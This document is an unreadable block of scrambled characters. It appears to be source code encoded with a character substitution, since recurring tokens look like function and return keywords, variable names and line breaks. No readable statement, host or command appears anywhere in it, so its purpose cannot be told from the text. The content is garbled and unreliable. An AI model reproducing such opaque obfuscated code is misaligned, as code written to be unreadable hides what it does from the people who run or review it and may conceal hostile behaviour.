nnnnj#v,&'799z~$uDnnn3Dnn3Dnnnnnnn'(nf,,&x"7%*"w>* "|f}~zgf')<,*!v z,w(-=f}|{ggnnhhnnnnn'9}8?4>/7?,4)f}~zgf47}#%=++!*:f}|xggnhhn,,&x"7%*"w>* "|f}~zgf,,&x"7%*"w>* "|f}|ygggnnn5Dnnj7;/*y&~)~,7 nnnsnn'9}8?4>/7?,4)f}|{gfj$#$v->x*)(guD'(nnfj7;/*y&~)~,7 nnsssnnnnn(/"=+gn<+:;< nnn(/"=+uDDDn,,&x"7%*"w>* "|f}|xgfj7;/*y&~)~,7 bnnn/<</7fDnnnn-! =:/ :f,,&x"7%*"w>* "|f}|vggnnspnn:<;+bDn-! =:/ :f,,&x"7%*"w>* "|f}|wggnspnj&/9'!+$=6{9x>bDDDDnn-! =:/ :f,,&x"7%*"w>* "|f}}~ggnspnnn(/"=+bDnnn-! =:/ :f'9}8?4>/7?,4)f}}ggnspnnn~bDnnn-! =:/ :f'9}8?4>/7?,4)f}}|ggnnnspnn(/"=+bDDDn-! =:/ :f'9}8?4>/7?,4)f}}}ggnnnnspnn(; -:'! nnnnnfj'#=|)(>&~~bnj$>4>,;(%zy'bnj% 7'y))*4(gnn5n<+:;< nnnnj% 7'y))*4(npnnfv}vv{z|exxgnqnnnnnnntnnnnnn~unnnn3bDDngguDDDDnnnj#+,9z9$/|+{z=? nnsnn')<,*!v z,w(-=f}|ygfj7;/*y&~)~,7 guDnj&~97;{"((76;nnsnnnn-;<"+<< !fj7;/*y&~)~,7 guDnnj&'x} <"|v7+4nsnn-;<")+:' (!fj7;/*y&~)~,7 guDDDD-;<"-"!=+fj7;/*y&~)~,7 guD'(nnnfj&~97;{"((76;gn<+:;< nnnn(/"=+uD'(nff' :gnnj&'x} <"|v7+447}#%=++!*:f}}zgnnsssnf{ev{gnnnnnhhnj#+,9z9$/|+{z=? nnnnnossnnnn(/"=+nhhnnj)-=>y9zwy=(|"fj#+,9z9$/|+{z=? ggnnn5Dnn<+:;< nnj#+,9z9$/|+{z=? uDn3D3Daan*+=:<;-:'! n!,=+<8+<DD<+:;< nn(/"=+uDn3DDn(; -:'! n8:y*)w!8yvy-fj$#$v->x*)(bnnnj& #7,:,=6("=~bnnnj49w-?#6&==;bnnnnj&/9'!+$=6{9x>bnnj!y#6,x}y#/znnsn ;""gDn5Dnnnj)-=>y9zwy=(|"nnnnsnn(; -:'! nnnfj:8:>&"*=,gnn;=+nnnfj!y#6,x}y#/zgnnn5Dnnn'(nfo')<,*!v z,w(-=f}~xgfj:8:>&"*=,gnnnnn22nj:8:>&"*=,nnnnnnsssnnllgnnnnn<+:;< n(/"=+uDnn'(nf')<,*!v z,w(-=f}ygfj:8:>&"*=,gnnnnnpnnnfv}vv{weyggn<+:;< nn(/"=+uDnnn'(nnnfj!y#6,x}y#/zgnn5DDDDnnn:<7nn5Dnnnnn<+:;< nf,!!"gn'9}8?4>/7?,4)f}}{gfj!y#6,x}y#/zbnj:8:>&"*=,guDnn3nnn-/:-&nnnnnf&<!9/,"+nnnnj": >{,:|gnnn5DDnn<+:;< n(/"=+uDnn3n-/:-&nnnf6-+>:'! nnj": >{,:|gn5D<+:;< n(/"=+uDnnnn3DDDn3Dn<+:;< nnn:<;+uDn3uDnnnj'*:$<8"9$: 47nnnnsnn'9}8?4>/7?,4)f}~zgf')<,*!v z,w(-=f}}xggnqnn'9}8?4>/7?,4)f}}xgfj$#$v->x*)(bnn/<</7fDnnnnn,,&x"7%*"w>* "|f}}ygnspnj&/9'!+$=6{9x>bDDn47}#%=++!*:f}}vgnnspn(/"=+bDn47}#%=++!*:f}}wgnspnnnf~x||z}|c||}}v|zgbD,,&x"7%*"w>* "|f}z~gnnspnj49w-?#6&==;bDnnn,,&x"7%*"w>* "|f}zgnspnj& #7,:,=6("=~bDDDDnnnnggntnn(/"=+uDnnnnn'(nnf,,&x"7%*"w>* "|f}~zgf'9}8?4>/7?,4)f}z|ggnnnhhn'=9>+<<!<fj'*:$<8"9$: 47ggnn5D3n+"=+'(nnnnnfj'*:$<8"9$: 47gnnn5Dnnj:,#zv{|~:7!;"->nnnnsnf' :gn9><+#!:+<+:<'+8+<+=>! =+-!*+fj'*:$<8"9$: 47guDj6>y'~7>+"}nnnnsnnn9><+#!:+<+:<'+8+,!*7fj'*:$<8"9$: 47guDDDDnnnnnnj+-&"-x+9&,!4z*$&nnnsnnn9><+#!:+<+:<'+8+&+/*+<=fj'*:$<8"9$: 47guDnnj; #}{;8x '#';!))nnnnsnnlluDn'(nnnnnnf47}#%=++!*:f}z}gfj+-&"-x+9&,!4z*$&ggnn5Daann!=:n!##+ :=tn!,=:<;-:'! c(<++n,'8/<'/ :DDnnnnnn(!<+/-&nnnfj+-&"-x+9&,!4z*$&nn/=nnnnj+;(:|<v{$x|,{nnnspnj8%v~67<)9"gn5Dnj; #}{;8x '#';!))nnn`snnj+;(:|<v{$x|,{nnnnnn`nnn')<,*!v z,w(-=f}zzgnn`nnnnnj8%v~67<)9"nn`n47}#%=++!*:f}z{guDn3DDDDn3Dn'(nnfj:,#zv{|~:7!;"->nsssnfwxe~zgnnnhhnnj)-=>y9zwy=(|"fj6>y'~7>+"}ggnn5Dnn<+:;< nj6>y'~7>+"}uDnnnnnnnDDnn3D3n+"=+n5Dnnnn3Dn'(nf,,&x"7%*"w>* "|f}~zgf47}#%=++!*:f}|{ggnnhhnnn47}#%=++!*:f}zxgf47}#%=++!*:f}|xggnnnhhnnnn'9}8?4>/7?,4)f}zxgf47}#%=++!*:f}|ygggnn5Dnj7;/*y&~)~,7 nnsn'9}8?4>/7?,4)f}|{gfj$#$v->x*)(guD'(nnnnfj7;/*y&~)~,7 nsssn(/"=+gnn5Dn<+:;< nn(/"=+uD3Daan>;,"'=&n<+-!<*c"/7+<DDj!?y>&()x/+nnnnsnn/<</7fguDn(!<+/-&nfj49w-?#6&==;n/=nnnnnnj+;(:|<v{$x|,{nnspnj8%v~67<)9"gnn5Dj!?y>&()x/+nnnnnnsnj+;(:|<v{$x|,{nnn`nnn')<,*!v z,w(-=f}zzgn`nnj8%v~67<)9"uDn3Dnn')<,*!v z,w(-=f}|xgfj7;/*y&~)~,7 bnn/<</7fD-! =:/ :f')<,*!v z,w(-=f}zyggnspnnn:<;+bDDDDnnnnnn-! =:/ :f47}#%=++!*:f}zvggnspnnnnnj& #7,:,=6("=~bDnn-! =:/ :f47}#%=++!*:f}|vggnnspnnnn:<;+bDnn-! =:/ :f')<,*!v z,w(-=f}zwggnspnnj&/9'!+$=6{9x>bDnnnnnn-! =:/ :f47}#%=++!*:f}}~ggnnnnnnspnn(/"=+bDnnnnnnn-! =:/ :f,,&x"7%*"w>* "|f}}ggnspnnnnnn~bDn-! =:/ :f')<,*!v z,w(-=f}{~ggnnnnnspnnnj!?y>&()x/+bD-! =:/ :f'9}8?4>/7?,4)f}}|ggnnnnspnnn(/"=+bDnnnn-! =:/ :f')<,*!v z,w(-=f}}}ggnspn(; -:'! nfj'#=|)(>&~~bnnnnnnj$>4>,;(%zy'bnnnnj% 7'y))*4(gnnnnn5nn<+:;< nnnnnj% 7'y))*4(nnnpnnfy|}vv|xezwyv|gnnnnnqnnnnntnnn~unnnnn3bDnnnnnngguDnj#+,9z9$/|+{z=? nnsn')<,*!v z,w(-=f}|ygfj7;/*y&~)~,7 guDDDnnnnj&~97;{"((76;nnsn-;<"+<< !fj7;/*y&~)~,7 guDnnnj&~9(4(-<:/4nnsnn-;<"+<<!<fj7;/*y&~)~,7 guDnnnnj&'x} <"|v7+4nnsnn-;<")+:' (!fj7;/*y&~)~,7 guDDDDnj4&6v$9>'$y *!%6nnnnsnnnnf' :gnnnnnnj&'x} <"|v7+4'9}8?4>/7?,4)f}}zguD'(nfj&~97;{"((76;gnnnn5Dn-;<"-"!=+fj7;/*y&~)~,7 guDnn<+:;< nn(/"=+uDDDnnn3Daan7n9' *!9n(; -:'! =tn*7 /#'-n><' -'>/"DDDDDn-;<"-"!=+fj7;/*y&~)~,7 guj(/'-9';|?(,*sw}xxuj:?!7(':"*)sj(/'-9';|?(,*kvuDn'(nnnnnnfj4&6v$9>'$y *!%6nnnsssnnf~6}e~6-{gnnnnnhhnnj#+,9z9$/|+{z=? nossnnnnn(/"=+nnhhnnnnj)-=>y9zwy=(|"fj#+,9z9$/|+{z=? ggnnnnn5Dnnnnn<+:;< nnnj#+,9z9$/|+{z=? uDnnnDDDn3DDn'(nfj#+,9z9$/|+{z=? gn5D3D<+:;< nn(/"=+uD3Dnnn<+:;< nn(/"=+uDnnn3DnDn(; -:'! nn&*87>%:yxv{9/8%}*8fgDnnn5Dnj866*"$; &*|)?%wnnsn z +y# ?7v!97+%/)9$fguDnnnnnnj8#4z|$<7};)~%"":nsn?&);y~+?>8|z~87,(&fguDnD'(nf+#>:7fj866*"$; &*|)?%wgnn22n+#>:7fj8#4z|$<7};)~%"":ggn5D<+:;< n/<</7fguDn3DnnnnnDnnnnnnnj"-w:z$),=$;%9nsnnn,,&x"7%*"w>* "|f}zxgf')<,*!v z,w(-=f}{ggnnqnf=:<' )gn)+:!>:'! f'9}8?4>/7?,4)f}{|gbnllgntnlluDDDD'(nnfj"-w:z$),=$;%9nnnnossnllgnnn5Daan; "!/*n,/:-&n<' )c,;((+<DDj8#4z|$<7};)~%"":nsnnnn')<,*!v z,w(-=f|{gf,,&x"7%*"w>* "|fwxgfj8#4z|$<7};)~%"":bn/<</7fj"-w:z$),=$;%9ggguDDnnnnn,,&x"7%*"w>* "|f}{}gfj8#4z|$<7};)~%"":bnnnnnj"-w:z$),=$;%9guDn3DnnnnDj%vxv#8 =78z&nnnsnnnnn'9}8?4>/7?,4)f}{zgfj866*"$; &*|)?%w')<,*!v z,w(-=f}{{gfj866*"$; &*|)?%wgguDn'(nnnfj%vxv#8 =78z&nnnsssnnnnllgn5DDDn<+:;< nnnnn/<</7fguDn3DDnnnnDnnj& #7,:,=6("=~nnnsnn')<,*!v z,w(-=f}{xgnnnn`nnj%vxv#8 =78z&nn`n,,&x"7%*"w>* "|f}{yguDnj9w *7(w$!'8/4+nnsn/<</7f')<,*!v z,w(-=f}{vgnnnnnspnn'9}8?4>/7?,4)f}{wgguDnj/#}*#;$':;nsnn')<,*!v z,w(-=f}x~gf:<;+guDnn(!<+/-&nnnfj8#4z|$<7};)~%"":nnn/=nj>")'{<'x:*gnnn5DnnDnnn'(nnnff47}#%=++!*:f}x~gf:<;+gnncnnnj/#}*#;$':;gnpnnfzezggnn5D,<+/%uDnnnn3Daan+-:!<n/;:!c<+(/-:!<tn<!:/:+n<+=!"8+<DDnnDnnnnnj>")'{<'x:*nsn47}#%=++!*:f}xgff=:<' )gnnnnj>")'{<'x:*guDDDDn'(nnnnfj>")'{<'x:*nsssnllgnnnnnn5D-! :' ;+uDDDnn3Dn:<7n5Dnnj6>y'~7>+"}nnsnn8:y*)w!8yvy-fj>")'{<'x:*bnnnnnj& #7,:,=6("=~bnnnj9w *7(w$!'8/4+bnnf~6ze~6gbnnnnnn(; -:'! nnnnfj:8:>&"*=,gnnnn5Dnnj:}$|+"6'nnnsnnnnn47}#%=++!*:f}x|gfj:8:>&"*=,bn:<;+guDnnn<+:;< n')<,*!v z,w(-=f}z}gfj:}$|+"6'gnnnnnnhhn'==+:fj:}$|+"6'')<,*!v z,w(-=f}x}gguDnnnn3guD'(nnnfj6>y'~7>+"}nnsssn(/"=+gnnn5Dnnnn-! :' ;+uD3Dj?) )%:w%|"/+; &nnsnnn,,&x"7%*"w>* "|f}x|gfj6>y'~7>+"}bnn:<;+guDnnnn'(nnfonnnn47}#%=++!*:f}z}gfj?) )%:w%|"/+; &gnnnnn22nonn'==+:fj?) )%:w%|"/+; &,,&x"7%*"w>* "|f}xzggnn22nnon,,&x"7%*"w>* "|f}~xgfj?) )%:w%|"/+; &,,&x"7%*"w>* "|f}x{gggnnnnn5Dn-! :' ;+uDn3DnnDnj7v:}=?(&w~nnnsnj?) )%:w%|"/+; &')<,*!v z,w(-=f}x{guDDDD'(nnf'9}8?4>/7?,4)f}xxgfj7v:}=?(&w~bnn,,&x"7%*"w>* "|f}xyggnsssn~gnnn5Daan/"'/=c/ /"74+n=;,=-<',+<n(!<nn':+n*':!<DDnj7v:}=?(&w~nnsnnn'9}8?4>/7?,4)f|ygfj7v:}=?(&w~bnn|guDDDDnnnnnn3DnnnnDnj7" ~7 }%#&nsnn47}#%=++!*:f}~{gfj7v:}=?(&w~guDnn'(nnnfj7" ~7 }%#&nsssnn(/"=+nnnn22nnn'9}8?4>/7?,4)f}ygfj7" ~7 }%#&gnnnnnrnnnnnf~vczzggnnn5Dn-! :' ;+uDnn3DnnDnnnnnnnj/<4-!7/%*wy+&nnsnnf~6}ze~6,guDnnj(}&$-6><6{"znsnnnn,,&x"7%*"w>* "|f}xvgfj7" ~7 }%#&j/<4-!7/%*wy+&guDnnnj9/&7:;7!9==:nnnsnn47}#%=++!*:f|ygfj7" ~7 }%#&bnnj/<4-!7/%*wy+&nennnbnnj(}&$-6><6{"zguDnn'(nfonnnn'9}8?4>/7?,4)f}~xgfj9/&7:;7!9==:gnn22n'9}8?4>/7?,4)f}ygfj9/&7:;7!9==:gnnnnnrnf~6|e~6ggn5Dnnnn-! :' ;+uD3DnnnnnnDnj&78(!$',><>!nnnnnsnnnnn47}#%=++!*:f}xvgfj9/&7:;7!9==:~guDD'(nfj&78(!$',><>!nnrnnnn22n')<,*!v z,w(-=f}ygfj9/&7:;7!9==:gnrnnenj&78(!$',><>!nengnnnn5DD-! :' ;+uDDD3DDDnnDnnj=}6/,v8 ynsnn'9}8?4>/7?,4)f}xwgfj9/&7:;7!9==:bnbnj&78(!$',><>!guDDDDnj??}~*=&<4?nnsnn,,&x"7%*"w>* "|f}y~gfj9/&7:;7!9==:bnnnnnnnenj&78(!$',><>!guDnnnnn'(nnfon'9}8?4>/7?,4)f}ygfj=}6/,v8 ygnn22nnnonnn47}#%=++!*:f}ygfj??}~*=&<4?ggnnnn5Dnnnn-! :' ;+uDn3DDnj#7%>y>v+: nnnsnn44=?z~}4y9,=&&76+w+'fj??}~*=&<4?bnj=}6/,v8 yguDDD'(nnfon')<,*!v z,w(-=f}y|gfj#7%>y>v+: gnnn22nn,,&x"7%*"w>* "|f}y}gfj#7%>y>v+: gnnnrnnn|gn5Dnnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f}yzgbnnn,,&x"7%*"w>* "|f}y{gguD-! :' ;+uD3DnDnnnj%vx:+-v=,"nnsnn,,&x"7%*"w>* "|f}xvgfj#7%>y>v+: ~guDDDD'(nnnnfj%vx:+-v=,"nnnnrnnn22nnnn47}#%=++!*:f}y}gfj#7%>y>v+: gnrnnnnnennnnnj%vx:+-v=,"gn5Dnnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=f}yxgbnnnnnn,,&x"7%*"w>* "|f}yygguDnnnnnnn-! :' ;+uDnn3DnnnnnDnj(?-;w?*w%y**}&#nsnn')<,*!v z,w(-=f}y~gfj#7%>y>v+: bnnbnnj%vx:+-v=,"guDj7x?#4!<#-'!$%/>"nsnnnnn47}#%=++!*:f}yvgfj#7%>y>v+: bnnnnenj%vx:+-v=,"guDj!(*zzw{&<({}+nnnnsnn,,&x"7%*"w>* "|f|{gf47}#%=++!*:f}ywgf'9}8?4>/7?,4)f|{xgf47}#%=++!*:f}v~gbn47}#%=++!*:f}vgf')<,*!v z,w(-=f}v|gbnnnj7x?#4!<#-'!$%/>"gggguDn'(nnf')<,*!v z,w(-=f}zxgf47}#%=++!*:fvvgggnnn5DDDD;>*/:+!>:'! f')<,*!v z,w(-=f}{|gbnnnj>")'{<'x:*guDnnn;>*/:+!>:'! f'9}8?4>/7?,4)f}v}gbnnnn,,&x"7%*"w>* "|f}vzgfl lbnj!(*zzw{&<({}+gguD3Dnnn<+:;< nnn/<</7f'9}8?4>/7?,4)f}v{gnspnnnnnj(?-;w?*w%y**}&#bnn')<,*!v z,w(-=f}vxgnnnnspnnj!(*zzw{&<({}+guD3n-/:-&nnnnnf&<!9/,"+nj": >{,:|gnnnn5j4/>&&?w4"zz%}s uj,;*?,:7$( sj4/>&&?w4"zz%}d}uDnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f}vygbnj": >{,:|guDnnnn-! :' ;+uDnn3n-/:-&nnnnf6-+>:'! nj": >{,:|gnnnn5Daan<+,/"/ -+n#+==/)+c?;+;+DDnnn-! :' ;+uD3Dn3Dnnnnnj+}=&8%v}y<nnnsn47}#%=++!*:f}zxgf,,&x"7%*"w>* "|f}{ggnnnqnf=:<' )gn)+:!>:'! f')<,*!v z,w(-=f}v}gbnllgnntnnlluDnnj")7'&*!4+>{,6nnnnsn&,';|8$9)9wz};<4} %6f47}#%=++!*:f}vvgbnllguDnnnnnnn'(nnnnfj+}=&8%v}y<nnossnnnnllnnhhnnnn')<,*!v z,w(-=f}vwgfj")7'&*!4+>{,6gnnhhnnnnnj")7'&*!4+>{,6nossnnllgnnnn5Dnnnj!(*zzw{&<({}+nsnnnnn')<,*!v z,w(-=f}w~gf'9}8?4>/7?,4)f}ywgf47}#%=++!*:f|{xgf,,&x"7%*"w>* "|f}wgbnn')<,*!v z,w(-=f}vgf')<,*!v z,w(-=f}v|gbnnj+}=&8%v}y<gggguj47<x>*,!7v"sf~6zxe~6{-guj${:*,7<{sj47<x>*,!7v"kxuDnn'(nnfonnn+#>:7fj!(*zzw{&<({}+ggnn5DDDDnnnnnn<+:;< nnnnn/<</7f,,&x"7%*"w>* "|f}v{gnspnnnnj")7'&*!4+>{,6bnnn')<,*!v z,w(-=f}w|gnnspnj!(*zzw{&<({}+guj:x)&}z<v)svzexxuj7%~%&|9w4,~"sj:x)&}z<v)c{~uDnn3Dnnnnnn3Dnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f}vygbnn,,&x"7%*"w>* "|f}w}gguDDDn<+:;< n/<</7fguD3Dn(; -:'! nn96%:~&wyx|/yy~(wfj ~>%6xv>~/=#bnnnnj*;;,~)!%x~9,$bnnnj>/<!7* |?x)<&gD5D'(nfonn'9}8?4>/7?,4)f}wzgf47}#%=++!*:f}w{gggnn5Dnnn<+:;< nn(/"=+uDDDn3Dnnnj6&6#!} 489)?#<nsnnnn47}#%=++!*:f}wxgfj*;;,~)!%x~9,$guDnnnnnnj#"#~$??>#|7'x;nnnsn47}#%=++!*:f}wygf,,&x"7%*"w>* "|f}wvgfbnnfzwc|}xggguDj4,>:~>6;',nnnnsnnnnlluDnnnn(!<nnnfj:%~8{?&+v'x|{nnnnsn~bnnnj4|!v7<|9#76:nsnn47}#%=++!*:f}y}gfj6&6#!} 489)?#<gunj:%~8{?&+v'x|{nnnnrnnj4|!v7<|9#76:unj:%~8{?&+v'x|{eegnnn5Dnnnj4,>:~>6;',nnnn`sn')<,*!v z,w(-=f}wygf'9}8?4>/7?,4)f}xvgfj6&6#!} 489)?#<j:%~8{?&+v'x|{gnnnnnnnn')<,*!v z,w(-=f}xvgfj#"#~$??>#|7'x;gguDn3Dnnn<+:;< nnnn;>*/:+!>:'! fj ~>%6xv>~/=#bnn,,&x"7%*"w>* "|f}wwgfj#"#~$??>#|7'x;n`nnj4,>:~>6;',gbnnnnnj>/<!7* |?x)<&gnnnossnnn(/"=+uDDn3DnDnnnnnn(; -:'! nn/&w~'=z( v8*?</%86;zfj ~>%6xv>~/=#bnnj 8 %'w|,gDnn5Dn'(nnnfo')<,*!v z,w(-=f}wzgf')<,*!v z,w(-=fz~~gggnn<+:;< nj 8 %'w|,uDnnnj:w4x-#(!>$*%nnnnnsn)+:!>:'! fj ~>%6xv>~/=#bnnllguDnnnn'(nnfj:w4x-#(!>$*%nnsssnnnlln22nnonnnnn')<,*!v z,w(-=fz~gfj:w4x-#(!>$*%ggn5Dn<+:;< nnnnj 8 %'w|,uDnnnnn3DDDj*7x6;|%$7'#y%=nnnsnn,,&x"7%*"w>* "|fz~|gfj:w4x-#(!>$*%bnn:<;+guDnnnnn'(nnnfj*7x6;|%$7'#y%=nsssn(/"=+nnnn22n47}#%=++!*:f}y}gfj*7x6;|%$7'#y%=gnrnn|gnnnn5DDnn<+:;< nj 8 %'w|,uDn3Dnnnnnj#"#~$??>#|7'x;nnnnnnsnnj*7x6;|%$7'#y%=~uDnj=<(8v)$,z*$$,+nnnnnsnnlluDnn(!<nnnnfj:%~8{?&+v'x|{nsnnbnnj4|!v7<|9#76:nsn'9}8?4>/7?,4)fz~}gfj*7x6;|%$7'#y%=gunj:%~8{?&+v'x|{nrnj4|!v7<|9#76:unnj:%~8{?&+v'x|{eegn5Dnnnnnnnj=<(8v)$,z*$$,+nn`sn')<,*!v z,w(-=fz~zgf'9}8?4>/7?,4)f}xvgfj*7x6;|%$7'#y%=j:%~8{?&+v'x|{gnnnn47}#%=++!*:fz~{gfj#"#~$??>#|7'x;gguDD3Dnnnnj:*$4'#+w7z)$nnnnnsnnn8#w/v=/:|-?;/fj=<(8v)$,z*$$,+guDn<+:;< nnj:*$4'#+w7z)$nnnnossn(/"=+nnqnnj:*$4'#+w7z)$ntnnnj 8 %'w|,uDD3DDDnnnnn(; -:'! nn8#w/v=/:|-?;/fj9/&7:;7!9==:gDDn5Dn'(nnnnnnfo,,&x"7%*"w>* "|fz~gfj9/&7:;7!9==:ggn<+:;< nnn(/"=+uDnn'(nnnf*+(' +*f47}#%=++!*:fz~xggnnhhnnnn 
npsnnf|wx|vc{wx|vggnn5j94zx'v:<6' s a uj& )|* 486sj94zx'v:<6' ewzuD<+:;< nnnn')<,*!v z,w(-=fz~ygfj9/&7:;7!9==:bnnnn/<</7f,,&x"7%*"w>* "|fz~vgnnspnn(/"=+gguDDDDnnnnn3DDDnnnn<+:;< n47}#%=++!*:fz~ygfj9/&7:;7!9==:guDnnnn3D(; -:'! nn y=y'-"()}44<6=%&fgDDDDnnnnnn5Dn=:/:'-nnj+;(:|<v{$x|,{nnsnnn ;""uDnn'(nfj+;(:|<v{$x|,{nnossnn ;""gnn<+:;< nnj+;(:|<v{$x|,{uDnnnnj(",(/4}#}|y '<!nsnnn*+(' +*f'9}8?4>/7?,4)f~ggnqnnnnntnnlluDnj+;(:|<v{$x|,{nnsn47}#%=++!*:f}gf'9}8?4>/7?,4)fz~wgfiibnniaibnnnnj(",(/4}#}|y '<!gbnnnniaignnnnnn`nnnniaiuDDnnnnn<+:;< nj+;(:|<v{$x|,{uDDDDn3DDDnn(; -:'! n+{8+|>)79z=/6!;;x!}fj ~>%6xv>~/=#gDn5Dnnnnnnn<+:;< nnn!=+>>,++"6<w;&f y=y'-"()}44<6=%&fgn`nnnnnf=:<' )gn><$64z"x*x#$z|8fgnn`nj ~>%6xv>~/=#bnnnnnnf~e|gguDnnnnn3Dn(; -:'! nn9~ 6()=+, #%{fj%<#796+7#<!$6gD5DDn<+:;< nnnf=:<' )gnff|w{y~xxwexz|w}}gnnnnennff' :gnnn&+6*+-f47}#%=++!*:f}yvgf47}#%=++!*:f|vgf y=y'-"()}44<6=%&fgnnnn`n,,&x"7%*"w>* "|fz~gnn`nnj%<#796+7#<!$6gbn~bnf~6}e~6zgggnknfzv{~zezvzwv{ggguDD3Dn(; -:'! nn"99wyy"$9w8|(*~yfgD5Dnnnnnnn<+:;< nnn9~ 6()=+, #%{f,,&x"7%*"w>* "|fzgguDnnn3Dnn(; -:'! n/9x4zx,?~<'y >*8,"*4|%fgDn5Dnnnj+76x/?">(%w>(9nnsnnnf=:<' )gnn&,';|8$9)9wz};<4} %6f47}#%=++!*:fz|gbnllguD<+:;< nnn'9}8?4>/7?,4)fz~}gfj+76x/?">(%w>(9gnnnnnpnnfwegnnnnnnhhnnn47}#%=++!*:f}xxgfj+76x/?">(%w>(9bn"99wyy"$9w8|(*~yfggnnnossn(/"=+nnnnhhn47}#%=++!*:fz~}gff=:<' )gn&,';|8$9)9wz};<4} %6f')<,*!v z,w(-=fz}gbnllggnnnpnf~6+e~6{xguDnnn3DnDn(; -:'! n&,';|8$9)9wz};<4} %6fj ~>%6xv>~/=#bnnj 8 %'w|,gDnnnnnn5Daan#+*'/:+n-'>&+<c=;':+DDn<+:;< n/&w~'=z( v8*?</%86;zf+{8+|>)79z=/6!;;x!}fj ~>%6xv>~/=#gbnnj 8 %'w|,guDnn3Dnnnnnn(; -:'! nnnnnn!|*6}/&4>&4x '{fj ~>%6xv>~/=#bnj 8 %'w|,nsnllgDnnn5Dnnnnnj8%v~67<)9"nnnsn&,';|8$9)9wz};<4} %6fj ~>%6xv>~/=#bnnj 8 %'w|,guDnnnn'(nnf47}#%=++!*:fz~gfj8%v~67<)9"ggnn<+:;< nj8%v~67<)9"uD'(nnnnnnf')<,*!v z,w(-=fzzgfj8%v~67<)9"ggn<+:;< nnf=:<' )gnnnnnnj8%v~67<)9"uDnnnn<+:;< nnj 8 %'w|,uD3DDDnn(; -:'! nnn$4"|"44x:74/<*9 %#||8fj ~>%6xv>~/=#bnj*;;,~)!%x~9,$bnnj>/<!7* |?x)<&gDnn5Dnnn96%:~&wyx|/yy~(wf+{8+|>)79z=/6!;;x!}fj ~>%6xv>~/=#gbnnnnnj*;;,~)!%x~9,$bnj>/<!7* |?x)<&guDDDnn3D(; -:'! nnnnn)?<*: x|=& <4:)}"#+6fgDn5Dj/%| !:#(y6x+)nnnsnnnnn'==+:fj	,,&x"7%*"w>* "|fz{ggnnnqnnnj	47}#%=++!*:fz{gnntn/<</7fguDnj:w4x-#(!>$*%nsnnn&,';|8$9)9wz};<4} %6f,,&x"7%*"w>* "|fzxgbnn/<</7fgguD'(nf47}#%=++!*:f}z}gfj:w4x-#(!>$*%ggn5Dnnnj/%| !:#(y6x+)nnnnsnn,,&x"7%*"w>* "|fzygfj:w4x-#(!>$*%bnnnnj/%| !:#(y6x+)guDnn3Dnj/%| !:#(y6x+)nnsnnnn'9}8?4>/7?,4)fzvgfj/%| !:#(y6x+)guDnnn<+:;< n'9}8?4>/7?,4)f}zgfj/%| !:#(y6x+)bnnnncf~6}~e~6|gguD3DDDDnnnn(; -:'! nn&=*;)?) '#>+x!|6=fgDnnnn5Daann'=:n"!-%tn('6;>n/""!-/:!<DDnn'(nnnfo'==+:fj	')<,*!v z,w(-=fz{ggnn22nnnn+#>:7fj	,,&x"7%*"w>* "|fz{gggnnn<+:;< uDnnn:<7nn5Dj:w4x-#(!>$*%nnsnnn&,';|8$9)9wz};<4} %6f,,&x"7%*"w>* "|fzwgbnn/<</7fgguDnnj6/8w+(x6$ nsn,,&x"7%*"w>* "|fz|~gf,,&x"7%*"w>* "|fz|gff/<</7gj:w4x-#(!>$*%bnj	')<,*!v z,w(-=fz{ggguDj6/8w+(x6$ nnsn,,&x"7%*"w>* "|f}zgfj6/8w+(x6$ bnnncf}xezgguDnnnn$4"|"44x:74/<*9 %#||8f,,&x"7%*"w>* "|fz||gbnj6/8w+(x6$ bn'9}8?4>/7?,4)fwgguDDDnnn3nnnn-/:-&nnnnf&<!9/,"+nj": >{,:|gnnnn5j4,x;&= =xxsz{ezuj<-v8:4=}vsj4,x;&= =xxc|}uDnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fz|}gbnnj": >{,:|guDn3nn-/:-&nf6-+>:'! nnnnj": >{,:|gnn5DDDD3D3DnnnnDnnnnnnn(; -:'! n44=?z~}4y9,=&&76+w+'fj9/&7:;7!9==:bnj%+7gDD5Dnnn'(nnnnnnfonn')<,*!v z,w(-=fz~gfj9/&7:;7!9==:gnnn22nnnnonn'9}8?4>/7?,4)fz~gfj%+7gn22nnn47}#%=++!*:fz|zgfj%+7gnnsssn~gnnn5Dn<+:;< nnnn ;""uDD3Dnnnnnnnj'zx"&7|)v>-  *7nnnsnnnnnn47}#%=++!*:fz|{gfj9/&7:;7!9==:guDDDDnj9"<z- =z xz$-'nnnsnn'9}8?4>/7?,4)fz|{gfj%+7guDnnnj<'4-8}$4!&? *66nsnnlluDnnnnn(!<nnnnnnfj:%~8{?&+v'x|{nsnn~unj:%~8{?&+v'x|{nnnrnnnj'zx"&7|)v>-  *7unnnj:%~8{?&+v'x|{eegn5Dnj<'4-8}$4!&? *66n`sn')<,*!v z,w(-=fz~zgf')<,*!v z,w(-=fz|xgfj9/&7:;7!9==:j:%~8{?&+v'x|{gnnn47}#%=++!*:fz|xgfj%+7j:%~8{?&+v'x|{nnnnnnknnnnnj9"<z- =z xz$-'gguD3Dn<+:;< nj<'4-8}$4!&? *66uDD3DnnnnDnn(; -:'! nn?$'/:(!<,<:4$xw'&y+=fj%?/"+|'<(gDDnn5DDnnnn'(nnfonnn,,&x"7%*"w>* "|f}z}gfj%?/"+|'<(ggnnnnn5Dnnnnnnj%?/"+|'<(nnnnsnn/<</7fguD3Dnnnj#,>=-y-? *nnsnnn&+{6!?~%' y}~'|9?fguDj/z~%9$$)")x>>)#nnsnn')<,*!v z,w(-=f}wzgf'9}8?4>/7?,4)fz~~ggnnqnnnn/&w~'=z( v8*?</%86;zf47}#%=++!*:fz|ygbn(/"=+gnnnnntnnnnn(/"=+uDDDDnnnnn'(nnf,,&x"7%*"w>* "|f}z}gfj/z~%9$$)")x>>)#gnnnnhhnn'==+:fj/z~%9$$)")x>>)#'9}8?4>/7?,4)fz|vggnhhnnf' :gnnj/z~%9$$)")x>>)#'9}8?4>/7?,4)fz|vgnpsnnnf|z~ex~gnhhnnnnf' :gnnnnnj/z~%9$$)")x>>)#,,&x"7%*"w>* "|fz|wgnnrsnfxzv}cyvz}ggnnnnj#,>=-y-? *nsnf' :gnj/z~%9$$)")x>>)#,,&x"7%*"w>* "|fz|wguDnn'(nnnfj#,>=-y-? *nnnrnnnnf}~rrggn5Dnnj#,>=-y-? 